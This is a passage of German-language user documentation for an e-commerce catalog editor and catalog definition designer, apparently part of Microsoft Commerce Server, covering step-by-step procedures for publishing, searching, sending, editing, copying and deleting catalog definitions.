Mithilfe des Katalog-Editor-Moduls können Sie Ihre Site mit den neu hinzugefügten Informationen aktualisieren. Bei den meisten E-Commerce-Unternehmen werden diese Änderungen zunächst auf einer Testsite und erst im Anschluss zu vereinbarten Zeiten auch in der Produktionssite vorgenommen. Wenden Sie sich an Ihren Systemadministrator, um weitere Informationen über das "Wann" und "Wie" der Änderungen in der Produktionssite zu erfahren.

Wenn Sie einen Katalog aktualisieren und veröffentlichen, wird auch automatisch der Volltextindex aktualisiert. Der Volltextindex ist der Teil eines Katalogs, in dem alle Volltextwörter und ihre Positionen in einer gegebenen Tabelle gespeichert sind. Wenn Änderungen an dem Katalog vorgenommen werden (wie das Hinzufügen oder Entfernen von Produkten oder das Ändern der Werte in den freitextsuchbaren Felder), muss der Volltextindex aktualisiert werden, um diesen Änderungen Rechnung zu tragen.

So aktualisieren und veröffentlichen Sie Ihre Kataloge

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Katalog veröffentlichen.

Die aktualisierten Kataloge werden in der Website veröffentlicht. Anschließend werden alle Katalogcaches aktualisiert.


Senden eines Katalogs an einen Handelspartner

Wenn Microsoft BizTalk Server sowohl von Ihrer Firma als auch von Ihren Handelspartnern verwendet wird, können Sie Kataloge, Bestellungen, Dokumente und andere elektronische Formulare untereinander austauschen. BizTalk Server hat die Funktion eines Gateways für den Versand von Geschäftsdokumenten zwischen Ihrer Firma und Ihren Handelspartnern (auch "Hersteller" genannt). So können Ihnen Hersteller z. B. ihre Kataloge senden, und Sie können diese in Ihrer Website zusammen mit Ihrem eigenen Katalog veröffentlichen. Wenn Besucher Ihrer Website Bestellungen aufgeben, werden diese zur Ausführung direkt an den Hersteller übermittelt.

Jeder einzelne Ihrer Handelspartner kann Ihnen einen oder mehrere Kataloge mit seinen Produkten schicken. Die Kataloge von Herstellern/Lieferanten können Sie in einem virtuellen Katalog zusammenfassen. Dieser wird den Besuchern Ihrer Site als ein Katalog angezeigt.

Verwenden Sie BizTalk-Messaging-Manager, um Handelspartner einzurichten. Bevor Sie einen Katalog an Handelspartner senden können, muss er eingerichtet werden. Informationen über das Einrichten Ihrer Site, sodass Sie Kataloge an Handelspartner senden können, erhalten Sie beim Systemadministrator.

So senden Sie einen Katalog an einen Handelspartner

  1. Erfragen Sie bei Ihrem Systemadministrator, ob Sie und Ihre Handelspartner mit BizTalk Server arbeiten, und ob die Ressource der Anwendungsstandardkonfiguration so konfiguriert wurde, dass die Eigenschaft BizTalk-Optionen auf 1 gesetzt ist.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie versenden möchten, und klicken Sie anschließend auf der Symbolleiste auf Senden.
  4. Wählen Sie im Dialogfeld Hersteller auswählen den Hersteller aus, an den der Katalog gehen soll. Klicken Sie anschließend auf OK.

Siehe auch

Exportieren eines Katalogs


Suchen nach Artikeln in einem Katalog

Mithilfe des Katalog-Editor-Moduls können Sie einen Katalog durchsuchen. Dies sind die Schritte, die Sie unternehmen können:

  • Schlüsselwortsuche. Aktivieren Sie, wenn Sie Eigenschaftsdefinitionen zu Ihrem Katalog hinzufügen, das Feld Freitextsuche aktivieren. Damit geben Sie an, dass die Definitionen für die Freitextsuche verfügbar sind. Bei einer Freitextsuche werden alle Instanzen der Eigenschaft in Ihrem Katalog abgerufen. Diese Eigenschaftsdefinitionen werden in einem Index protokolliert.

    Wenn Kataloge geändert wurden, für die die Freitextsuche aktiviert ist, müssen Sie den Volltextindex aktualisieren. Informationen über die Aktualisierung des Volltextindex finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.

  • Suche nach Eigenschaften. Sie können nach Eigenschaften suchen, die über bestimmte Werte verfügen. Zum Beispiel: Preis < 10 € und Farbe = Rot. Standardmäßig können alle Eigenschaften für eigenschaftsbasierte Suchvorgänge verwendet werden.

So suchen Sie Produkte in einem Katalog mithilfe eines Schlüsselworts

So suchen Sie Produkte in einem Katalog mithilfe einer Eigenschaft

So suchen Sie Produkte in einem Katalog mithilfe eines Schlüsselworts

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie durchsuchen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen. Wenn es sich dabei um einen mehrsprachigen Katalog handelt, wird der Katalog in der Standardsprache geöffnet, sofern nichts anderes angegeben ist.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte in der Dropdownliste Suchmethode die Option Schlüsselwortsuche aus.
  4. Geben Sie im Feld Schlüsselwörter das Schlüsselwort ein, nach dem gesucht werden soll, und klicken Sie anschließend auf Suchen.

Das Resultat der Schlüsselwortsuche wird in der Tabelle Produkte angezeigt.

So suchen Sie Produkte in einem Katalog mithilfe einer Eigenschaft

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog aus, den Sie durchsuchen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen. Wenn es sich dabei um einen mehrsprachigen Katalog handelt, wird der Katalog in der Standardsprache geöffnet, sofern nichts anderes angegeben ist.
  3. Wählen Sie im Bildschirm Katalog – Katalogname im Bereich Produkte in der Dropdownliste Suchmethode die Option Suche nach Eigenschaften aus, und klicken Sie dann auf Neu.
  4. Führen Sie in der Tabelle Ziel basiert auf den folgenden Bedingungen die folgenden Schritte aus:
    Felder (links nach rechts) | Funktion | Aktion
    Erstes | Wählen Sie hier eine Eigenschaft aus | Wählen Sie den Eigenschaftstyp aus.
    Zweites | Wählen Sie hier einen Operator aus | Wählen Sie einen Suchoperator aus.
    Drittes | Geben Sie hier einen Eigenschaftswert ein | Geben Sie den gesuchten Wert ein.
  5. Geben Sie den gesuchten Wert im letzten Textfeld ein.
  6. Klicken Sie auf Suchen.

    Die Suchresultate werden in der Tabelle Produkte angezeigt. Die folgende Abbildung zeigt die Ergebnisse einer Eigenschaftssuche.

    Beispielbildschirm mit den Ergebnissen einer Eigenschaftssuche.

Siehe auch

Aktualisieren und Veröffentlichen eines Katalogs


Verwalten von Katalogdefinitionen

Wenn sich Ihre Unternehmensanforderungen verändern, möchten Sie möglicherweise auch Ihre Katalogdefinition anpassen. Sie können neue Eigenschaftsdefinitionen hinzufügen, vorhandene Eigenschaftsdefinitionen bearbeiten oder Eigenschaftsdefinitionen, die Sie nicht länger benötigen, löschen. Sie können auch Änderungen vornehmen oder neue Produkt- oder Katalogdefinitionen hinzufügen.

Wenn Sie Änderungen an der Katalogdefinition vornehmen, kann sich dies auf die vorhandenen Kategorien und Produkte auswirken, die mit diesen geänderten oder gelöschten Eigenschaftsdefinitionen verknüpft sind. Beispiel: Wenn Sie eine Hersteller-ID zu Ihrer CD-Produktdefinition hinzufügen müssen, verfügen alle Produktinstanzen, die diese CD-Produktdefinition verwenden, über ein Feld für die Hersteller-ID.

Dieser Abschnitt beinhaltet folgende Themen:

  • Suchen und Anzeigen einer Katalogdefinition
  • Bearbeiten einer Katalogkategoriedefinition
  • Bearbeiten einer Katalogproduktdefinition
  • Bearbeiten einer Katalogeigenschaftsdefinition
  • Kopieren einer Katalogdefinition
  • Löschen einer Katalogdefinition


Suchen und Anzeigen einer Katalogdefinition

Mithilfe des Katalogdefinitions-Designer-Moduls können Sie Eigenschaftsdefinitionen, Kategoriedefinitionen und Produktdefinitionen suchen und anzeigen.

So suchen Sie eine Eigenschaftsdefinition

So zeigen Sie eine Liste von Eigenschaftsdefinitionen an

So zeigen Sie eine Liste von Kategoriedefinitionen an

So zeigen Sie eine Liste von Produktdefinitionen an

So suchen Sie eine Eigenschaftsdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  3. Klicken Sie im Bildschirm Katalog-Designer: Eigenschaftsdefinitionen auf Suchen, um das Feld Suchen anzuzeigen.
  4. Wählen Sie im Feld Suchen nach die Merkmale der Eigenschaftsdefinition in der Dropdownliste. Führen Sie dann die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie den Namen (oder einen Teil des Namens) der Eigenschaft ein.
    Typ | Wählen Sie den Eigenschaftstyp in der Dropdownliste aus.
    Allen Produktarten zugewiesen | Wählen Sie in der Dropdownliste Ja oder Nein aus. Bei Auswahl von Ja werden nur Eigenschaften gesucht, die allen Produktarten gemeinsam sind.
    Alle Definitionen | Suchen Sie nach allen vorhandenen Definitionen.

    Hinweis

    • Bei Auswahl von Alle Definitionen ist die Option Nur die unten angegebene Liste durchsuchen nicht mehr verfügbar. Alle Filter werden entfernt und alle Definitionen überprüft.
  5. Klicken Sie auf Suchen.

Die Suchergebnisse werden im Feld Suchen angezeigt.

So zeigen Sie eine Liste von Eigenschaftsdefinitionen an

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht, und wählen Sie anschließend in der Dropdownliste die Option Eigenschaftsdefinitionen aus, um den Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen anzuzeigen.

In diesem Bildschirm wird eine Liste aller Eigenschaftsdefinitionen im Katalog (in alphabetischer Reihenfolge) einschließlich des Datentyps angezeigt.

So zeigen Sie eine Liste von Kategoriedefinitionen an

  • Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer, um den Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen anzuzeigen.

In diesem Bildschirm wird eine Liste aller im Katalog enthaltenen Kategoriedefinitionen angezeigt.

So zeigen Sie eine Liste von Produktdefinitionen an

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht, und wählen Sie anschließend in der Dropdownliste die Option Produktdefinitionen aus, um den Bildschirm Katalogdefinitions-Designer: Produktdefinitionen anzuzeigen.

In diesem Bildschirm wird eine Liste aller im Katalog enthaltenen Produktdefinitionen angezeigt.


Bearbeiten einer Katalogkategoriedefinition

Kategoriedefinitionen können auch nach Auffüllen des Katalogs mit Produkten und Kategorien noch geändert werden. Die Änderungen wirken sich jedoch auf die Darstellung des Katalogs in der Website aus. In zahlreichen Organisationen wird die Katalogdefinition von einem Mitarbeiter erstellt und bearbeitet, der über genaue Kenntnisse des Datenbankkonzepts verfügt.

Hinweis

  • Weder der Name noch der Typ von Eigenschaften können in einer Katalogdefinition geändert werden. Sie können jedoch die Eigenschaft löschen und sie mit einem neuen Namen und Typ wieder hinzufügen.

So bearbeiten Sie eine Kategoriedefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Kategoriedefinitionen aus.
  3. Wählen Sie die Kategorie aus, die Sie ändern möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  4. Wählen Sie im Bildschirm Kategoriedefinitionen im Bereich Kategorieeigenschaften im Feld Zugewiesene Eigenschaften die Eigenschaft aus, die Sie ändern möchten. Führen Sie dann je nach Bedarf folgende Schritte aus:
    • Wenn Sie eine Eigenschaft zu einer Kategoriedefinition hinzufügen möchten, wählen Sie im Feld Verfügbare Eigenschaften die Eigenschaft aus, die hinzugefügt werden soll, und klicken Sie auf Hinzufügen. Klicken Sie auf Neu, um eine Eigenschaft zu erstellen, die noch nicht existiert.
    • Wenn Sie eine Eigenschaft aus einer Kategoriedefinition entfernen möchten, wählen Sie im Feld Zugewiesene Eigenschaften die zu entfernende Eigenschaft aus, und klicken Sie anschließend auf Entfernen.
    • Wenn Sie die Reihenfolge der einer Kategorie zugewiesenen Eigenschaften ändern möchten, wählen Sie im Feld Zugewiesene Eigenschaften die Eigenschaft aus, die verschoben werden soll. Klicken Sie dann auf Nach oben oder Nach unten, um die Reihenfolge der Eigenschaften wie gewünscht zu ändern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen zurückzukehren.


Bearbeiten einer Katalogproduktdefinition

Produktdefinitionen können auch nach Auffüllen des Katalogs mit Produkten noch geändert werden. Die Änderungen wirken sich jedoch auf die Darstellung des Katalogs in der Website aus. In zahlreichen Organisationen wird die Katalogdefinition von einem Mitarbeiter erstellt und bearbeitet, der über genaue Kenntnisse des Datenbankkonzepts verfügt.

Hinweis

  • Weder der Name noch der Typ von Eigenschaften können in einer Katalogdefinition geändert werden. Sie können jedoch die Eigenschaft löschen und sie mit einem neuen Namen und Typ wieder hinzufügen.

So bearbeiten Sie eine Produktdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  3. Wählen Sie die Produktdefinition aus, die Sie ändern möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  4. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen im Bereich Produkteigenschaften im Feld Zugewiesene Eigenschaften die Eigenschaft aus, die Sie ändern möchten. Führen Sie dann je nach Bedarf einen der folgenden Schritte aus:
    • Wenn Sie eine Eigenschaft zu einer Produktdefinition hinzufügen möchten, wählen Sie im Feld Verfügbare Eigenschaften die Eigenschaft aus, die hinzugefügt werden soll, und klicken Sie auf Hinzufügen. Klicken Sie auf Neu, um eine Eigenschaft zu erstellen, die noch nicht existiert.
    • Wenn Sie eine Eigenschaft aus einer Produktdefinition entfernen möchten, wählen Sie im Feld Zugewiesene Eigenschaften die zu entfernende Eigenschaft aus, und klicken Sie anschließend auf Entfernen.
    • Wenn Sie die Reihenfolge der einem Produkt zugewiesenen Eigenschaften ändern möchten, wählen Sie im Feld Zugewiesene Eigenschaften die Eigenschaft aus, die verschoben werden soll. Klicken Sie dann auf Nach oben oder Nach unten, um die Reihenfolge der Eigenschaften wie gewünscht zu ändern.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalogdefinitions-Designer zurückzukehren.


Bearbeiten einer Katalogeigenschaftsdefinition

Eigenschaftsdefinitionen können auch nach Auffüllen des Katalogs mit Produkten und Kategorien noch geändert werden. Die Änderungen wirken sich jedoch auf die Darstellung des Katalogs in der Website aus. In zahlreichen Organisationen wird die Katalogdefinition von einem Mitarbeiter erstellt und bearbeitet, der über genaue Kenntnisse des Datenbankkonzepts verfügt.

Hinweise

  • Weder der Name noch der Typ von Eigenschaften können in einer Katalogdefinition geändert werden. Sie können jedoch die Eigenschaft löschen und sie mit einem neuen Namen und Typ wieder hinzufügen.
  • Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft. Wenn Sie einen XML-Katalog importieren, in dem diese Eigenschaft festgelegt ist, gilt das für alle zukünftig von Ihnen erstellten Produktdefinitionen.
  • Im Feld Ist erforderlich legen Sie fest, ob für die Eigenschaft ein Wert erforderlich ist. Wenn eine Eigenschaft erforderlich ist, wird neben ihr das Symbol Erforderlich angezeigt.

So bearbeiten Sie eine Eigenschaftsdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Eigenschaftsdefinition aus.
  3. Wählen Sie im Bildschirm Eigenschaftsdefinitionen die Eigenschaft aus, die Sie ändern möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  4. Welche Felder im Bildschirm Eigenschaftsdefinition: Eigenschaft angezeigt werden, hängt vom Typ der gewählten Eigenschaftsdefinition ab. Führen Sie folgende Schritte aus:
    Funktion | Eigenschaftstyp | Aktion
    Name | Alle | Sie können diesen Wert nicht ändern.
    Angezeigter Name | Alle | Geben Sie den Namen ein, der in der Website als Bezeichnung für diese Eigenschaft angezeigt werden soll. So könnte z. B. für eine Eigenschaft mit dem Namen "Hemdfarbe" die Bezeichnung "Farbe" angezeigt werden.
    In der Site anzeigen Alle Aktivieren Sie dieses Kontrollkästchen, um die angegebene Eigenschaft den Benutzern der Website anzuzeigen. Aktivieren Sie dieses Kontrollkästchen nicht, wenn Sie einige Eigenschaften zur internen Verwendung privat halten möchten.

    Diese Option ist für Eigenschaften mit langem Text (Long Text-Eigenschaften) standardmäßig aktiviert.
    Freitextsuche aktivieren Text, Multiplechoice Aktivieren Sie dieses Kontrollkästchen, damit eine Freitextsuche im Katalog auf die in dieser Eigenschaft gespeicherten Werte angewendet wird.

    Bei Aktivierung der Option Freitextsuche aktivieren wird die Eigenschaftsdefinition zum Volltextindex dieses Katalogs hinzugefügt. Wenn Katalogelemente geändert werden, für die die Freitextsuche aktiviert ist, müssen Sie den Volltextindex aktualisieren. Informationen über die Aktualisierung des Volltextindex finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.
    Mittels Drilldownsuche auffindbar Text, Zahl, Dezimal, Geld/Währung, Datum/Uhrzeit, Multiplechoice, mehrsprachig Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in Drilldownsuchen zu verwenden.

    Diese Option ist für Eigenschaften mit langem Text (Long Text-Eigenschaften) standardmäßig deaktiviert, da langer Beschreibungstext für eine Drilldownsuche nicht geeignet ist.
    Minimallänge Text, mehrsprachig Geben Sie eine Zahl ein, mit der die Minimallänge des Wertes für diesen Eigenschaftstyp definiert wird.

    Wenn Sie eine von null verschiedene Länge angeben, wird diese Eigenschaft für eine Produkt- oder Kategoriedefinition zu einer erforderlichen Eigenschaft, und neben der Eigenschaft wird das Symbol Erforderlich angezeigt.
    Maximallänge | Text, mehrsprachig | Geben Sie eine Zahl ein, mit der die Maximallänge des Wertes für diesen Eigenschaftstyp definiert wird.
    Minimalwert | Zahl, Dezimalzahl, Geld/Währung | Geben Sie eine Zahl ein, mit welcher der Minimalwert für diesen Eigenschaftstyp definiert wird.
    Höchstwert Zahl, Dezimalzahl, Geld/Währung Geben Sie eine Zahl ein, mit welcher der Maximalwert für diesen Eigenschaftstyp definiert wird.

    Wenn Sie z. B. eine Eigenschaft für Geld hinzufügen möchten, geben Sie eine Zahl inklusive Dezimalkomma und Nachkommastellen ein, die den größten Geldwert darstellt, der auf ein Produkt angewendet werden kann.
    Frühestes Datum | Datum/Uhrzeit | Geben Sie das früheste Datum ein, an dem diese Eigenschaft gültig sein soll. Zum Beispiel der früheste Zeitpunkt, an dem ein Benutzer eine neue CD bestellen kann.
    Frühester Zeitpunkt | Datum/Uhrzeit | Geben Sie die früheste Uhrzeit im Format 00:00 ein, die dieser Eigenschaft zugeordnet werden soll. Ein Beispiel sind Startzeiten.
    Letztes Datum | Datum/Uhrzeit | Geben Sie das späteste Datum ein, an dem diese Eigenschaft gültig sein soll.
    Letzter Zeitpunkt | Datum/Uhrzeit | Geben Sie eine Uhrzeit im 24-Stunden-Format ein, um den letzten Zeitpunkt anzugeben, an dem diese Eigenschaft gültig sein soll.
    Standardwert | Text, Zahl, Dezimal, Geld/Währung, Datum/Uhrzeit, Multiplechoice, mehrsprachig | Geben Sie den Standardwert für den Eigenschaftstyp ein. Das Format hängt vom hinzuzufügenden Eigenschaftstyp ab.
    Allen Produkttypen zuweisen Alle Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft allen Produkttypen zuzuweisen. Beispielsweise könnten Sie dies für allgemeine Produkteigenschaften wie Name, Beschreibung oder Gewicht auswählen.

    Wenn Sie die Option Allen Produktdefinitionen zuweisen aktivieren, übernehmen alle später von Ihnen erstellten Definitionen automatisch diese Eigenschaft.
    Daten für Analyse speichern | Alles, außer Long Text und mehrsprachigem Long Text | Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft in das Data Warehouse zu exportieren. Durch den Export in das Data Warehouse stehen die Daten für Berichte zur Verfügung.
    In Produktliste anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in der Produktliste in Ihrer Site anzuzeigen.
    Ist erforderlich | Alles außer mehrsprachigem Multiplechoice | Aktivieren Sie dieses Kontrollkästchen, falls diese Eigenschaft einen Wert enthalten muss. Wenn eine Eigenschaft erforderlich ist, wird neben ihr das Symbol Erforderlich angezeigt.
  5. Klicken Sie zum Speichern der Eigenschaftsdefinition auf der Symbolleiste auf Speichern.
  6. Zum Schützen der Eigenschaft gegen eine Bearbeitung oder ein Löschen durch andere Business Desk-Benutzer klicken Sie im Bereich Sicherheit auf Berechtigungen.
  7. Geben Sie die Windows-Konten der Benutzer an, die die Berechtigung zum Aktualisieren dieses Katalogs haben, und klicken Sie dann auf Schließen.
  8. Wenn Sie die Berechtigungen für die Eigenschaftsdefinition speichern und zum Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen zurückkehren möchten, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Alle Kategorien und Produkte, von denen diese Eigenschaftsdefinition verwendet wird, werden automatisch aktualisiert.

Siehe auch

Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für einen Katalog

Hinzufügen einer Katalogproduktdefinition

Hinzufügen einer Katalogkategoriedefinition


Kopieren einer Katalogdefinition

Mithilfe des Katalogdefinitions-Designer-Moduls wird eine vorhandene Eigenschaftsdefinition, Produktdefinition oder Kategoriedefinition kopiert. Beispiel: Sie möchten eine Definition kopieren, um eine neue, ähnliche Definition zu erstellen.

So kopieren Sie eine Kategoriedefinition

So kopieren Sie eine Produktdefinition

So kopieren Sie eine Eigenschaftsdefinition

So kopieren Sie eine Kategoriedefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Kategoriedefinitionen aus.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen die Kategorie aus, die Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.
  4. Geben Sie im Bildschirm Kategoriedefinition: Neu im Feld Name einen Namen für die neue Kategoriedefinition ein. Die maximale Länge beträgt 128 Zeichen.
  5. Bearbeiten Sie die Eigenschaften im Feld Zugewiesene Eigenschaften, falls die bestehenden Kategorieeigenschaften für die neue Kategoriedefinition geändert werden müssen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Kategoriedefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen zurückzukehren.

So kopieren Sie eine Produktdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Produktdefinitionen aus.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Produktdefinitionen die Produktdefinition aus, die Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.
  4. Geben Sie im Bereich Produktdefinitionseigenschaften im Feld Name einen Namen für die neue Produktdefinition ein. Die maximale Länge beträgt 128 Zeichen.
  5. Bearbeiten Sie das Feld Zugewiesene Eigenschaften, falls die bestehenden Produkteigenschaften für die neue Produktdefinition geändert werden müssen.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Produktdefinition zu speichern und zum Bildschirm Katalogdefinitions-Designer: Produktdefinitionen zurückzukehren.

So kopieren Sie eine Eigenschaftsdefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf der Symbolleiste auf Ansicht. Wählen Sie dann aus der Dropdownliste die Option Eigenschaftsdefinitionen.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Eigenschaftsdefinitionen die Eigenschaft aus, die Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.
  4. Führen Sie im Bildschirm Eigenschaftsdefinitionen: Neu folgende Schritte aus:
    Funktion | Eigenschaftstyp | Aktion
    Name Alle Geben Sie einen Namen für die Eigenschaft ein.

    Hinweis

    • Nach Speicherung dieser Eigenschaft kann der Eigenschaftsname nicht mehr geändert werden.
    In der Site anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um die angegebene Eigenschaft den Benutzern der Website anzuzeigen. Aktivieren Sie dieses Kontrollkästchen nicht, wenn Sie einige Eigenschaften zur internen Verwendung privat halten möchten.
    Angezeigter Name | Alle | Geben Sie den Namen ein, der in der Website als Bezeichnung für diese Eigenschaft angezeigt werden soll. So könnte z. B. für eine Eigenschaft mit dem Namen "Hemdfarbe" die Bezeichnung "Farbe" angezeigt werden.
    Freitextsuche aktivieren Text, Multiplechoice, Datei Aktivieren Sie dieses Kontrollkästchen, damit eine Freitextsuche im Katalog auf die in dieser Eigenschaft gespeicherten Werte angewendet wird.

    Bei Aktivierung der Option Freitextsuche aktivieren wird die Eigenschaftsdefinition zum Volltextindex dieses Katalogs hinzugefügt. Wenn Katalogelemente geändert werden, für die die Freitextsuche aktiviert ist, müssen Sie den Volltextindex aktualisieren. Informationen über die Aktualisierung des Volltextindex finden Sie unter Aktualisieren und Veröffentlichen eines Katalogs.
    Mittels Drilldownsuche auffindbar | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in Drilldownsuchen zu verwenden. Eine Drilldownsuche ermöglicht dem Benutzer, die für ihn interessanten Werte auszuwählen, mit denen er bestimmte Produkte finden kann.
    Minimallänge | Text | Geben Sie eine Zahl ein, mit der die Minimallänge des Wertes für diesen Eigenschaftstyp definiert wird. Standardmäßig beträgt die Minimallänge null (0) Zeichen. Wenn eine Länge angegeben wird, die nicht null ist, wird diese Eigenschaft zu einer für die Produktdefinition erforderlichen Eigenschaft.
    Maximallänge | Text | Geben Sie eine Zahl ein, mit der die Maximallänge des Wertes für diesen Eigenschaftstyp definiert wird. Die maximale Länge beträgt 3.600 Zeichen.
    Minimalwert | Zahl, Dezimalzahl, Geld/Währung | Geben Sie eine Zahl ein, mit welcher der Minimalwert für diesen Eigenschaftstyp definiert wird. Standardmäßig ist der Minimalwert Null (0).
    Höchstwert | Zahl, Dezimalzahl, Geld/Währung | Geben Sie eine Zahl ein, mit welcher der Maximalwert für diesen Eigenschaftstyp definiert wird. Wenn Sie z. B. eine Eigenschaft für Geld hinzufügen möchten, geben Sie eine Zahl inklusive Dezimalkomma und Nachkommastellen ein, die den größten Geldwert darstellt, der auf ein Produkt angewendet werden kann.
    Frühestes Datum | Datum/Uhrzeit | Geben Sie das früheste Datum ein, an dem diese Eigenschaft gültig sein soll. Zum Beispiel der früheste Zeitpunkt, an dem ein Benutzer eine neue CD bestellen kann.
    Frühester Zeitpunkt | Datum/Uhrzeit | Geben Sie die früheste Uhrzeit im Format 00:00 ein, die dieser Eigenschaft zugeordnet werden soll. Ein Beispiel sind Startzeiten.
    Letztes Datum | Datum/Uhrzeit | Geben Sie das späteste Datum ein, an dem diese Eigenschaft gültig sein soll. Zum Beispiel das letzte Datum, an dem ein Benutzer eine neue CD bestellen kann.
    Letzter Zeitpunkt | Datum/Uhrzeit | Geben Sie das späteste Datum ein (im Format 00:00), an dem diese Eigenschaft gültig sein soll. Ein Beispiel dafür sind Ablaufzeiten.
    Standardwert | Text, Zahl, Dezimal, Geld/Währung, Datum/Uhrzeit, Multiplechoice | Geben Sie den Standardwert für den Eigenschaftstyp ein. Dieser Wert hängt vom hinzugefügten Eigenschaftstyp ab.
    Allen Produkttypen zuweisen | Alle | Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft allen Produkttypen zuzuweisen.
    In Data Warehouse exportieren | Alle | Aktivieren Sie dieses Kontrollkästchen, um die Eigenschaft in das Data Warehouse zu exportieren. Durch den Export in das Data Warehouse stehen die Daten für Berichte zur Verfügung.
    In Produktliste anzeigen | Alle | Aktivieren Sie dieses Kontrollkästchen, um diese Eigenschaft in der Produktliste anzuzeigen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen zu speichern und zum Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen zurückzukehren.


Löschen einer Katalogdefinition

Mithilfe des Katalogdefinitions-Designer-Moduls können Sie Eigenschaftsdefinitionen, Produktdefinitionen und Kategoriedefinitionen löschen. Bevor Sie eine Definition löschen, stellen Sie sicher, dass diese Definition nicht von einer vorhandenen Eigenschaft, einem Produkt oder einer Kategorie Ihrer Kataloge verwendet wird. Wenn Sie eine Produkt- oder Kategoriedefinition löschen möchten, auf der Produkte oder Kategorien basieren, erhalten Sie eine Warnmeldung.

So löschen Sie eine Kategoriedefinition

So löschen Sie eine Produktdefinition

So löschen Sie eine Eigenschaftsdefinition

So löschen Sie eine Kategoriedefinition

  1. Klicken Sie im Menü Kataloge auf Katalogdefinitions-Designer.
  2. Klicken Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Kategoriedefinitionen aus.
  3. Wählen Sie im Bildschirm Katalogdefinitions-Designer: Kategoriedefinitionen die Kategoriedefinition aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen.
  4. Klicken Sie im Dialogfeld Löschen der Kategoriedefinitionen bestätigen auf OK, um die Definition zu löschen.

So löschen Sie eine Produktdefinition

